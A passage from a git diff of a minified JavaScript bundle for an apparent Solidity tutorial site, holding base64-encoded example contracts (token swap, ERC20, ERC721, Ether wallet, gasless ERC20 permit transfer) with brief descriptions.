duZXIxLCBhbW91bnQyKTsKICAgIH0KCiAgICBmdW5jdGlvbiBfc2FmZVRyYW5zZmVyRnJvbSgKICAgICAgICBJRVJDMjAgdG9rZW4sCiAgICAgICAgYWRkcmVzcyBzZW5kZXIsCiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQsCiAgICAgICAgdWludCBhbW91bnQKICAgICkgcHJpdmF0ZSB7CiAgICAgICAgYm9vbCBzZW50ID0gdG9rZW4udHJhbnNmZXJGcm9tKHNlbmRlciwgcmVjaXBpZW50LCBhbW91bnQpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIlRva2VuIHRyYW5zZmVyIGZhaWxlZCIpOwogICAgfQp9Cg=="}],Lj=`

        Any contract that follow the ERC20 standard is a ERC20 token.

        +`,zj=({prev:s,next:a})=>i.jsx(u,{version:Kj,title:Sj,description:xj,html:Jj,prev:s,next:a,codes:Mj}),Ej="0.8.20",Lj="ERC20",Qj="Example of ERC20 token in Solidity",_j=[{fileName:"ERC20.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmltcG9ydCAiLi9JRVJDMjAuc29sIjsKCmNvbnRyYWN0IEVSQzIwIGlzIElFUkMyMCB7CiAgICB1aW50IHB1YmxpYyB0b3RhbFN1cHBseTsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50KSBwdWJsaWMgYmFsYW5jZU9mOwogICAgbWF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lZCB0b2tlbnMgc3VjY2Vzc2Z1bGx5LgoqLwoKY29udHJhY3QgVG9rZW5Td2FwIHsKICAgIElFUkMyMCBwdWJsaWMgdG9rZW4xOwogICAgYWRkcmVzcyBwdWJsaWMgb3duZXIxOwogICAgdWludCBwdWJsaWMgYW1vdW50MTsKICAgIElFUkMyMCBwdWJsaWMgdG9rZW4yOwogICAgYWRkcmVzcyBwdWJsaWMgb3duZXIyOwogICAgdWludCBwdWJsaWMgYW1vdW50MjsKCiAgICBjb25zdHJ1Y3RvcigKICAgICAgICBhZGRyZXNzIF90b2tlbjEsCiAgICAgICAgYWRkcmVzcyBfb3duZXIxLAogICAgICAgIHVpbnQgX2Ftb3VudDEsCiAgICAgICAgYWRkcmVzcyBfdG9rZW4yLAogICAgICAgIGFkZHJlc3MgX293bmVyMiwKICAgICAgICB1aW50IF9hbW91bnQyCiAgICApIHsKICAgICAgICB0b2tlbjEgPSBJRVJDMjAoX3Rva2VuMSk7CiAgICAgICAgb3duZXIxID0gX293bmVyMTsKICAgICAgICBhbW91bnQxID0gX2Ftb3VudDE7CiAgICAgICAgdG9rZW4yID0gSUVSQzIwKF90b2tlbjIpOwogICAgICAgIG93bmVyMiA9IF9vd25lcjI7CiAgICAgICAgYW1vdW50MiA9IF9hbW91bnQyOwogICAgfQoKICAgIGZ1bmN0aW9uIHN3YXAoKSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSBvd25lcjEgfHwgbXNnLnNlbmRlciA9PSBvd25lcjIsICJOb3QgYXV0aG9yaXplZCIpOwogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIHRva2VuMS5hbGxvd2FuY2Uob3duZXIxLCBhZGRyZXNzKHRoaXMpKSA+PSBhbW91bnQxLAogICAgICAgICAgICAiVG9rZW4gMSBhbGxvd2FuY2UgdG9vIGxvdyIKICAgICAgICApOwogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIHRva2VuMi5hbGxvd2FuY2Uob3duZXIyLCBhZGRyZXNzKHRoaXMpKSA+PSBhbW91bnQyLAogICAgICAgICAgICAiVG9rZW4gMiBhbGxvd2FuY2UgdG9vIGxvdyIKICAgICAgICApOwoKICAgICAgICBfc2FmZVRyYW5zZmVyRnJvbSh0b2tlbjEsIG93bmVyMSwgb3duZXIyLCBhbW91bnQxKTsKICAgICAgICBfc2FmZVRyYW5zZmVyRnJvbSh0b2tlbjIsIG93bmVyMiwgb3duZXIxLCBhbW91bnQyKTsKICAgIH0KCiAgICBmdW5jdGlvbiBfc2FmZVRyYW5zZmVyRnJvbSgKICAgICAgICBJRVJDMjAgdG9rZW4sCiAgICAgICAgYWRkcmVzcyBzZW5kZXIsCiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQsCiAgICAgICAgdWludCBhbW91bnQKICAgICkgcHJpdmF0ZSB7CiAgICAgICAgYm9vbCBzZW50ID0gdG9rZW4udHJhbnNmZXJGcm9tKHNlbmRlciwgcmVjaXBpZW50LCBhbW91bnQpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIlRva2VuIHRyYW5zZmVyIGZhaWxlZCIpOwogICAgfQp9Cg=="}],Uj=`

        Any contract that follow the ERC20 standard is a ERC20 token.

        ERC20 tokens provide functionalities to

        • transfer tokens
        • @@ -1253,7 +1253,7 @@ How to swap tokens require(sent, "Token transfer failed"); } } -`,Qj=({prev:s,next:a})=>i.jsx(u,{version:Mj,title:Jj,description:zj,html:Lj,prev:s,next:a,codes:Ej}),_j="0.8.20",Uj="ERC721",Tj="Example of ERC721 non fungible token in Solidity",Dj=[{fileName:"ERC721.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmludGVyZmFjZSBJRVJDMTY1IHsKICAgIGZ1bmN0aW9uIHN1cHBvcnRzSW50ZXJmYWNlKGJ5dGVzNCBpbnRlcmZhY2VJRCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zIChib29sKTsKfQo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3IsIGFwcHJvdmVkKTsKICAgIH0KCiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludCBpZCkgZXh0ZXJuYWwgewogICAgICAgIGFkZHJlc3Mgb3duZXIgPSBfb3duZXJPZltpZF07CiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgbXNnLnNlbmRlciA9PSBvd25lciB8fCBpc0FwcHJvdmVkRm9yQWxsW293bmVyXVttc2cuc2VuZGVyXSwKICAgICAgICAgICAgIm5vdCBhdXRob3JpemVkIgogICAgICAgICk7CgogICAgICAgIF9hcHByb3ZhbHNbaWRdID0gc3BlbmRlcjsKCiAgICAgICAgZW1pdCBBcHByb3ZhbChvd25lciwgc3BlbmRlciwgaWQpOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldEFwcHJvdmVkKHVpbnQgaWQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAoYWRkcmVzcykgewogICAgICAgIHJlcXVpcmUoX293bmVyT2ZbaWRdICE9IGFkZHJlc3MoMCksICJ0b2tlbiBkb2Vzbid0IGV4aXN0Iik7CiAgICAgICAgcmV0dXJuIF9hcHByb3ZhbHNbaWRdOwogICAgfQoKICAgIGZ1bmN0aW9uIF9pc0FwcHJvdmVkT3JPd25lcigKICAgICAgICBhZGRyZXNzIG93bmVyLAogICAgICAgIGFkZHJlc3Mgc3BlbmRlciwKICAgICAgICB1aW50IGlkCiAgICApIGludGVybmFsIHZpZXcgcmV0dXJucyAoYm9vbCkgewogICAgICAgIHJldHVybiAoc3BlbmRlciA9PSBvd25lciB8fAogICAgICAgICAgICBpc0FwcHJvdmVkRm9yQWxsW293bmVyXVtzcGVuZGVyXSB8fAogICAgICAgICAgICBzcGVuZGVyID09IF9hcHByb3ZhbHNbaWRdKTsKICAgIH0KCiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBmcm9tLCBhZGRyZXNzIHRvLCB1aW50IGlkKSBwdWJsaWMgewogICAgICAgIH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IHRyYW5zZmVyRnJvbShmcm9tLCB0bywgaWQpOwoKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICB0by5jb2RlLmxlbmd0aCA9PSAwIHx8CiAgICAgICAgICAgICAgICBJRVJDNzIxUmVjZWl2ZXIodG8pLm9uRVJDNzIxUmVjZWl2ZWQobXNnLnNlbmRlciwgZnJvbSwgaWQsIGRhdGEpID09CiAgICAgICAgICAgICAgICBJRVJDNzIxUmVjZWl2ZXIub25FUkM3MjFSZWNlaXZlZC5zZWxlY3RvciwKICAgICAgICAgICAgInVuc2FmZSByZWNpcGllbnQiCiAgICAgICAgKTsKICAgIH0KCiAgICBmdW5jdGlvbiBfbWludChhZGRyZXNzIHRvLCB1aW50IGlkKSBpbnRlcm5hbCB7CiAgICAgICAgcmVxdWlyZSh0byAhPSBhZGRyZXNzKDApLCAibWludCB0byB6ZXJvIGFkZHJlc3MiKTsKICAgICAgICByZXF1aXJlKF9vd25lck9mW2lkXSA9PSBhZGRyZXNzKDApLCAiYWxyZWFkeSBtaW50ZWQiKTsKCiAgICAgICAgX2JhbGFuY2VPZlt0b10rKzsKICAgICAgICBfb3duZXJPZltpZF0gPSB0bzsKCiAgICAgICAgZW1pdCBUcmFuc2ZlcihhZGRyZXNzKDApLCB0bywgaWQpOwogICAgfQoKICAgIGZ1bmN0aW9uIF9idXJuKHVpbnQgaWQpIGludGVybmFsIHsKICAgICAgICBhZGRyZXNzIG93bmVyID0gX293bmVyT2ZbaWRdOwogICAgICAgIHJlcXVpcmUob3duZXIgIT0gYWRkcmVzcygwKSwgIm5vdCBtaW50ZWQiKTsKCiAgICAgICAgX2JhbGFuY2VPZltvd25lcl0gLT0gMTsKCiAgICAgICAgZGVsZXRlIF9vd25lck9mW2lkXTsKICAgICAgICBkZWxldGUgX2FwcHJvdmFsc1tpZF07CgogICAgICAgIGVtaXQgVHJhbnNmZXIob3duZXIsIGFkZHJlc3MoMCksIGlkKTsKICAgIH0KfQoKY29udHJhY3QgTXlORlQgaXMgRVJDNzIxIHsKICAgIGZ1bmN0aW9uIG1pbnQoYWRkcmVzcyB0bywgdWludCBpZCkgZXh0ZXJuYWwgewogICAgICAgIF9taW50KHRvLCBpZCk7CiAgICB9CgogICAgZnVuY3Rpb24gYnVybih1aW50IGlkKSBleHRlcm5hbCB7CiAgICAgICAgcmVxdWlyZShtc2cuc2VuZGVyID09IF9vd25lck9mW2lkXSwgIm5vdCBvd25lciIpOwogICAgICAgIF9idXJuKGlkKTsKICAgIH0KfQo="}],Oj=`

          Example of ERC721

          +`,Tj=({prev:s,next:a})=>i.jsx(u,{version:Ej,title:Lj,description:Qj,html:Uj,prev:s,next:a,codes:_j}),Dj="0.8.20",Oj="ERC721",Pj="Example of ERC721 non fungible token in Solidity",$j=[{fileName:"ERC721.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmludGVyZmFjZSBJRVJDMTY1IHsKICAgIGZ1bmN0aW9uIHN1cHBvcnRzSW50ZXJmYWNlKGJ5dGVzNCBpbnRlcmZhY2VJRCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zIChib29sKTsKfQoKaW50ZXJmYWNlIElFUkM3MjEgaXMgSUVSQzE2NSB7CiAgICBmdW5jdGlvbiBiYWxhbmNlT2YoYWRkcmVzcyBvd25lcikgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50IGJhbGFuY2UpOwoKICAgIGZ1bmN0aW9uIG93bmVyT2YodWludCB0b2tlbklkKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKGFkZHJlc3Mgb3duZXIpOwoKICAgIGZ1bmN0aW9uIHNhZmVUcmFuc2ZlckZyb20oYWRkcmVzcyBmcm9tLCBhZGRyZXNzIHRvLCB1aW50IHRva2VuSWQpIGV4dGVybmFsOwoKICAgIGZ1bmN0aW9uIHNhZmVUcmFuc2ZlckZyb20oCiAgICAgICAgYWRkcmVzcyBmcm9tLAogICAgICAgIGFkZH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uIGdldEFwcHJvdmVkKHVpbnQgaWQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAoYWRkcmVzcykgewogICAgICAgIHJlcXVpcmUoX293bmVyT2ZbaWRdICE9IGFkZHJlc3MoMCksICJ0b2tlbiBkb2Vzbid0IGV4aXN0Iik7CiAgICAgICAgcmV0dXJuIF9hcHByb3ZhbHNbaWRdOwogICAgfQoKICAgIGZ1bmN0aW9uIF9pc0FwcHJvdmVkT3JPd25lcigKICAgICAgICBhZGRyZXNzIG93bmVyLAogICAgICAgIGFkZHJlc3Mgc3BlbmRlciwKICAgICAgICB1aW50IGlkCiAgICApIGludGVybmFsIHZpZXcgcmV0dXJucyAoYm9vbCkgewogICAgICAgIHJldHVybiAoc3BlbmRlciA9PSBvd25lciB8fAogICAgICAgICAgICBpc0FwcHJvdmVkRm9yQWxsW293bmVyXVtzcGVuZGVyXSB8fAogICAgICAgICAgICBzcGVuZGVyID09IF9hcHByb3ZhbHNbaWRdKTsKICAgIH0KCiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBmcm9tLCBhZGRyZXNzIHRvLCB1aW50IGlkKSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUoZnJvbSA9PSBfb3duZXJPZltpZF0sICJmcm9tICE9IG93bmVyIik7CiAgICAgICAgcmVxdWlyZSh0byAhPSBhZGRyZXNzKDApLCAidHJhbnNmZXIgdG8gemVybyBhZGRyZXNzIik7CgogICAgICAgIHJlcXVpcmUoX2lzQXBwcm92ZWRPck93bmVyKGZyb20sIG1zZy5zZW5kZXIsIGlkKSwgIm5vdCBhdXRob3JpemVkIik7CgogICAgICAgIF9iYWxhbmNlT2ZbZnJvbV0tLTsKICAgICAgICBfYmFsYW5jZU9mW3RvXSsrOwogICAgICAgIF9vd25lck9mW2lkXSA9IHRvOwoKICAgICAgICBkZWxldGUgX2FwcHJvdmFsc1tpZF07CgogICAgICAgIGVtaXQgVHJhbnNmZXIoZnJvbSwgdG8sIGlkKTsKICAgIH0KCiAgICBmdW5jdGlvbiBzYWZlVHJhbnNmZXJGcm9tKGFkZHJlc3MgZnJvbSwgYWRkcmVzcyB0bywgdWludCBpZCkgZXh0ZXJuYWwgewogICAgICAgIHRyYW5zZmVyRnJvbShmcm9tLCB0bywgaWQpOwoKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICB0by5jb2RlLmxlbmd0aCA9PSAwIHx8CiAgICAgICAgICAgICAgICBJRVJDNzIxUmVjZWl2ZXIodG8pLm9uRVJDNzIxUmVjZWl2ZWQobXNnLnNlbmRlciwgZnJvbSwgaWQsICIiKSA9PQogICAgICAgICAgICAgICAgSUVSQzcyMVJlY2VpdmVyLm9uRVJDNzIxUmVjZWl2ZWQuc2VsZWN0b3IsCiAgICAgICAgICAgICJ1bnNhZmUgcmVjaXBpZW50IgogICAgICAgICk7CiAgICB9CgogICAgZnVuY3Rpb24gc2FmZVRyYW5zZmVyRnJvbSgKICAgICAgICBhZGRyZXNzIGZyb20sCiAgICAgICAgYWRkcmVzcyB0bywKICAgICAgICB1aW50IGlkLAogICAgICAgIGJ5dGVzIGNhbGxkYXRhIGRhdGEKICAgICkgZXh0ZXJuYWwgewogICAgICAgIHRyYW5zZmVyRnJvbShmcm9tLCB0bywgaWQpOwoKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICB0by5jb2RlLmxlbmd0aCA9PSAwIHx8CiAgICAgICAgICAgICAgICBJRVJDNzIxUmVjZWl2ZXIodG8pLm9uRVJDNzIxUmVjZWl2ZWQobXNnLnNlbmRlciwgZnJvbSwgaWQsIGRhdGEpID09CiAgICAgICAgICAgICAgICBJRVJDNzIxUmVjZWl2ZXIub25FUkM3MjFSZWNlaXZlZC5zZWxlY3RvciwKICAgICAgICAgICAgInVuc2FmZSByZWNpcGllbnQiCiAgICAgICAgKTsKICAgIH0KCiAgICBmdW5jdGlvbiBfbWludChhZGRyZXNzIHRvLCB1aW50IGlkKSBpbnRlcm5hbCB7CiAgICAgICAgcmVxdWlyZSh0byAhPSBhZGRyZXNzKDApLCAibWludCB0byB6ZXJvIGFkZHJlc3MiKTsKICAgICAgICByZXF1aXJlKF9vd25lck9mW2lkXSA9PSBhZGRyZXNzKDApLCAiYWxyZWFkeSBtaW50ZWQiKTsKCiAgICAgICAgX2JhbGFuY2VPZlt0b10rKzsKICAgICAgICBfb3duZXJPZltpZF0gPSB0bzsKCiAgICAgICAgZW1pdCBUcmFuc2ZlcihhZGRyZXNzKDApLCB0bywgaWQpOwogICAgfQoKICAgIGZ1bmN0aW9uIF9idXJuKHVpbnQgaWQpIGludGVybmFsIHsKICAgICAgICBhZGRyZXNzIG93bmVyID0gX293bmVyT2ZbaWRdOwogICAgICAgIHJlcXVpcmUob3duZXIgIT0gYWRkcmVzcygwKSwgIm5vdCBtaW50ZWQiKTsKCiAgICAgICAgX2JhbGFuY2VPZltvd25lcl0gLT0gMTsKCiAgICAgICAgZGVsZXRlIF9vd25lck9mW2lkXTsKICAgICAgICBkZWxldGUgX2FwcHJvdmFsc1tpZF07CgogICAgICAgIGVtaXQgVHJhbnNmZXIob3duZXIsIGFkZHJlc3MoMCksIGlkKTsKICAgIH0KfQoKY29udHJhY3QgTXlORlQgaXMgRVJDNzIxIHsKICAgIGZ1bmN0aW9uIG1pbnQoYWRkcmVzcyB0bywgdWludCBpZCkgZXh0ZXJuYWwgewogICAgICAgIF9taW50KHRvLCBpZCk7CiAgICB9CgogICAgZnVuY3Rpb24gYnVybih1aW50IGlkKSBleHRlcm5hbCB7CiAgICAgICAgcmVxdWlyZShtc2cuc2VuZGVyID09IF9vd25lck9mW2lkXSwgIm5vdCBvd25lciIpOwogICAgICAgIF9idXJuKGlkKTsKICAgIH0KfQo="}],qj=`

          Example of ERC721

          // SPDX-License-Identifier: MIT
           pragma solidity ^0.8.20;
           
          @@ -1442,7 +1442,7 @@ How to swap tokens
                   _burn(id);
               }
           }
          -
          `,Pj=({prev:s,next:a})=>i.jsx(u,{version:_j,title:Uj,description:Tj,html:Oj,prev:s,next:a,codes:Dj}),$j="0.8.20",qj="Ether Wallet",su="Simple example of wallet in Solidity",au=[{fileName:"EtherWallet.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEV0aGVyV2FsbGV0IHsKICAgIGFkZHJlc3MgcGF5YWJsZSBwdWJsaWMgb3duZXI7CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgb3duZXIgPSBwYXlhYmxlKG1zZy5zZW5kZXIpOwogICAgfQoKICAgIHJlY2VpdmUoKSBleHRlcm5hbCBwYXlhYmxlIHt9CgogICAgZnVuY3Rpb24gd2l0aGRyYXcodWludCBfYW1vdW50KSBleHRlcm5hbCB7CiAgICAgICAgcmVxdWlyZShtc2cuc2VuZGVyID09IG93bmVyLCAiY2FsbGVyIGlzIG5vdCBvd25lciIpOwogICAgICAgIHBheWFibGUobXNnLnNlbmRlcikudHJhbnNmZXIoX2Ftb3VudCk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0QmFsYW5jZSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludCkgewogICAgICAgIHJldHVybiBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CiAgICB9Cn0K"}],nu=`

          An example of a basic wallet.

          +`,su=({prev:s,next:a})=>i.jsx(u,{version:Dj,title:Oj,description:Pj,html:qj,prev:s,next:a,codes:$j}),au="0.8.20",nu="Ether Wallet",lu="Simple example of wallet in Solidity",pu=[{fileName:"EtherWallet.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEV0aGVyV2FsbGV0IHsKICAgIGFkZHJlc3MgcGF5YWJsZSBwdWJsaWMgb3duZXI7CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgb3duZXIgPSBwYXlhYmxlKG1zZy5zZW5kZXIpOwogICAgfQoKICAgIHJlY2VpdmUoKSBleHRlcm5hbCBwYXlhYmxlIHt9CgogICAgZnVuY3Rpb24gd2l0aGRyYXcodWludCBfYW1vdW50KSBleHRlcm5hbCB7CiAgICAgICAgcmVxdWlyZShtc2cuc2VuZGVyID09IG93bmVyLCAiY2FsbGVyIGlzIG5vdCBvd25lciIpOwogICAgICAgIHBheWFibGUobXNnLnNlbmRlcikudHJhbnNmZXIoX2Ftb3VudCk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0QmFsYW5jZSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludCkgewogICAgICAgIHJldHVybiBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CiAgICB9Cn0K"}],eu=`

          An example of a basic wallet.

          • Anyone can send ETH.
          • Only the owner can withdraw.
          • @@ -1468,7 +1468,7 @@ How to swap tokens return address(this).balance; } } -`,lu=({prev:s,next:a})=>i.jsx(u,{version:$j,title:qj,description:su,html:nu,prev:s,next:a,codes:au}),pu="0.8.20",eu="Gasless Token Transfer",cu="Gasless ERC20 token transfer with Meta transaction",tu=[{fileName:"ERC20Permit.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IEFHUEwtMy4wLW9ubHkKcHJhZ21hIHNvbGlkaXR5ID49MC44LjA7CgovLy8gQG5vdGljZSBNb2Rlcm4gYW5kIGdhcyBlZmZpY2llbnQgRVJDMjAgKyBFSVAtMjYxMiBpbXBsZW1lbnRhdGlvbi4KLy8vIEBhdXRob3IgU29sbWF0ZSAoaHR0cHM6Ly9naXRodWIuY29tL3RyYW5zbWlzc2lvbnMxMS9zb2xtYXRlL2Jsb2IvbWFpbi9zcmMvdG9rZW5zL0VSQzIwLnNvbCkKLy8vIEBhdXRob3IgTW9kaWZpZWQgZnJvbSBVbmlzd2FwIChodHRwczovL2dpdGh1Yi5jb20vVW5pc3dhcC91bmlzd2FwLXYyLWNvcmUvYmxvYi9tYXN0ZXIvY29udHJhY3RzL1VuaXN3YXBWMkVSQ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IC8qLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFSVAtMjYxMiBMT0dJQwogICAgLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8qLwoKICAgIGZ1bmN0aW9uIHBlcm1pdCgKICAgICAgICBhZGRyZXNzIG93bmVyLAogICAgICAgIGFkZHJlc3Mgc3BlbmRlciwKICAgICAgICB1aW50MjU2IHZhbHVlLAogICAgICAgIHVpbnQyNTYgZGVhZGxpbmUsCiAgICAgICAgdWludDggdiwKICAgICAgICBieXRlczMyIHIsCiAgICAgICAgYnl0ZXMzMiBzCiAgICApIHB1YmxpYyB2aXJ0dWFsIHsKICAgICAgICByZXF1aXJlKGRlYWRsaW5lID49IGJsb2NrLnRpbWVzdGFtcCwgIlBFUk1JVF9ERUFETElORV9FWFBJUkVEIik7CgogICAgICAgIC8vIFVuY2hlY2tlZCBiZWNhdXNlIHRoZSBvbmx5IG1hdGggZG9uZSBpcyBpbmNyZW1lbnRpbmcKICAgICAgICAvLyB0aGUgb3duZXIncyBub25jZSB3aGljaCBjYW5ub3QgcmVhbGlzdGljYWxseSBvdmVyZmxvdy4KICAgICAgICB1bmNoZWNrZWQgewogICAgICAgICAgICBhZGRyZXNzIHJlY292ZXJlZEFkZHJlc3MgPSBlY3JlY292ZXIoCiAgICAgICAgICAgICAgICBrZWNjYWsyNTYoCiAgICAgICAgICAgICAgICAgICAgYWJpLmVuY29kZVBhY2tlZCgKICAgICAgICAgICAgICAgICAgICAgICAgIlx4MTlceDAxIiwKICAgICAgICAgICAgICAgICAgICAgICAgRE9NQUlOX1NFUEFSQVRPUigpLAogICAgICAgICAgICAgICAgICAgICAgICBrZWNjYWsyNTYoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBhYmkuZW5jb2RlKAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtlY2NhazI1NigKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlBlcm1pdChhZGRyZXNzIG93bmVyLGFkZHJlc3Mgc3BlbmRlcix1aW50MjU2IHZhbHVlLHVpbnQyNTYgbm9uY2UsdWludDI1NiBkZWFkbGluZSkiCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvd25lciwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzcGVuZGVyLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbHVlLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG5vbmNlc1tvd25lcl0rKywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkZWFkbGluZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgKSwKICAgICAgICAgICAgICAgIHYsCiAgICAgICAgICAgICAgICByLAogICAgICAgICAgICAgICAgcwogICAgICAgICAgICApOwoKICAgICAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgICAgIHJlY292ZXJlZEFkZHJlc3MgIT0gYWRkcmVzcygwKSAmJiByZWNvdmVyZWRBZGRyZXNzID09IG93bmVyLAogICAgICAgICAgICAgICAgIklOVkFMSURfU0lHTkVSIgogICAgICAgICAgICApOwoKICAgICAgICAgICAgYWxsb3dhbmNlW3JlY292ZXJlZEFkZHJlc3NdW3NwZW5kZXJdID0gdmFsdWU7CiAgICAgICAgfQoKICAgICAgICBlbWl0IEFwcHJvdmFsKG93bmVyLCBzcGVuZGVyLCB2YWx1ZSk7CiAgICB9CgogICAgZnVuY3Rpb24gRE9NQUlOX1NFUEFSQVRPUigpIHB1YmxpYyB2aWV3IHZpcnR1YWwgcmV0dXJucyAoYnl0ZXMzMikgewogICAgICAgIHJldHVybgogICAgICAgICAgICBibG9jay5jaGFpbmlkID09IElOSVRJQUxfQ0hBSU5fSUQKICAgICAgICAgICAgICAgID8gSU5JVElBTF9ET01BSU5fU0VQQVJBVE9SCiAgICAgICAgICAgICAgICA6IGNvbXB1dGVEb21haW5TZXBhcmF0b3IoKTsKICAgIH0KCiAgICBmdW5jdGlvbiBjb21wdXRlRG9tYWluU2VwYXJhdG9yKCkgaW50ZXJuYWwgdmlldyB2aXJ0dWFsIHJldHVybnMgKGJ5dGVzMzIpIHsKICAgICAgICByZXR1cm4KICAgICAgICAgICAga2VjY2FrMjU2KAogICAgICAgICAgICAgICAgYWJpLmVuY29kZSgKICAgICAgICAgICAgICAgICAgICBrZWNjYWsyNTYoCiAgICAgICAgICAgICAgICAgICAgICAgICJFSVA3MTJEb21haW4oc3RyaW5nIG5hbWUsc3RyaW5nIHZlcnNpb24sdWludDI1NiBjaGFpbklkLGFkZHJlc3MgdmVyaWZ5aW5nQ29udHJhY3QpIgogICAgICAgICAgICAgICAgICAgICksCiAgICAgICAgICAgICAgICAgICAga2VjY2FrMjU2KGJ5dGVzKG5hbWUpKSwKICAgICAgICAgICAgICAgICAgICBrZWNjYWsyNTYoIjEiKSwKICAgICAgICAgICAgICAgICAgICBibG9jay5jaGFpbmlkLAogICAgICAgICAgICAgICAgICAgIGFkZHJlc3ModGhpcykKICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgKTsKICAgIH0KCiAgICAvKi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vCiAgICAgICAgICAgICAgICAgICAgICAgIElOVEVSTkFMIE1JTlQvQlVSTiBMT0dJQwogICAgLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8qLwoKICAgIGZ1bmN0aW9uIF9taW50KG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sCiAgICAgICAgdWludDggdiwKICAgICAgICBieXRlczMyIHIsCiAgICAgICAgYnl0ZXMzMiBzCiAgICApIGV4dGVybmFsOwoKICAgIGV2ZW50IFRyYW5zZmVyKGFkZHJlc3MgaW5kZXhlZCBmcm9tLCBhZGRyZXNzIGluZGV4ZWQgdG8sIHVpbnQyNTYgdmFsdWUpOwogICAgZXZlbnQgQXBwcm92YWwoYWRkcmVzcyBpbmRleGVkIG93bmVyLCBhZGRyZXNzIGluZGV4ZWQgc3BlbmRlciwgdWludDI1NiB2YWx1ZSk7Cn0KCmNvbnRyYWN0IEdhc2xlc3NUb2tlblRyYW5zZmVyIHsKICAgIGZ1bmN0aW9uIHNlbmQoCiAgICAgICAgYWRkcmVzcyB0b2tlbiwKICAgICAgICBhZGRyZXNzIHNlbmRlciwKICAgICAgICBhZGRyZXNzIHJlY2VpdmVyLAogICAgICAgIHVpbnQyNTYgYW1vdW50LAogICAgICAgIHVpbnQyNTYgZmVlLAogICAgICAgIHVpbnQyNTYgZGVhZGxpbmUsCiAgICAgICAgLy8gUGVybWl0IHNpZ25hdHVyZQogICAgICAgIHVpbnQ4IHYsCiAgICAgICAgYnl0ZXMzMiByLAogICAgICAgIGJ5dGVzMzIgcwogICAgKSBleHRlcm5hbCB7CiAgICAgICAgLy8gUGVybWl0CiAgICAgICAgSUVSQzIwUGVybWl0KHRva2VuKS5wZXJtaXQoCiAgICAgICAgICAgIHNlbmRlciwKICAgICAgICAgICAgYWRkcmVzcyh0aGlzKSwKICAgICAgICAgICAgYW1vdW50ICsgZmVlLAogICAgICAgICAgICBkZWFkbGluZSwKICAgICAgICAgICAgdiwKICAgICAgICAgICAgciwKICAgICAgICAgICAgcwogICAgICAgICk7CiAgICAgICAgLy8gU2VuZCBhbW91bnQgdG8gcmVjZWl2Z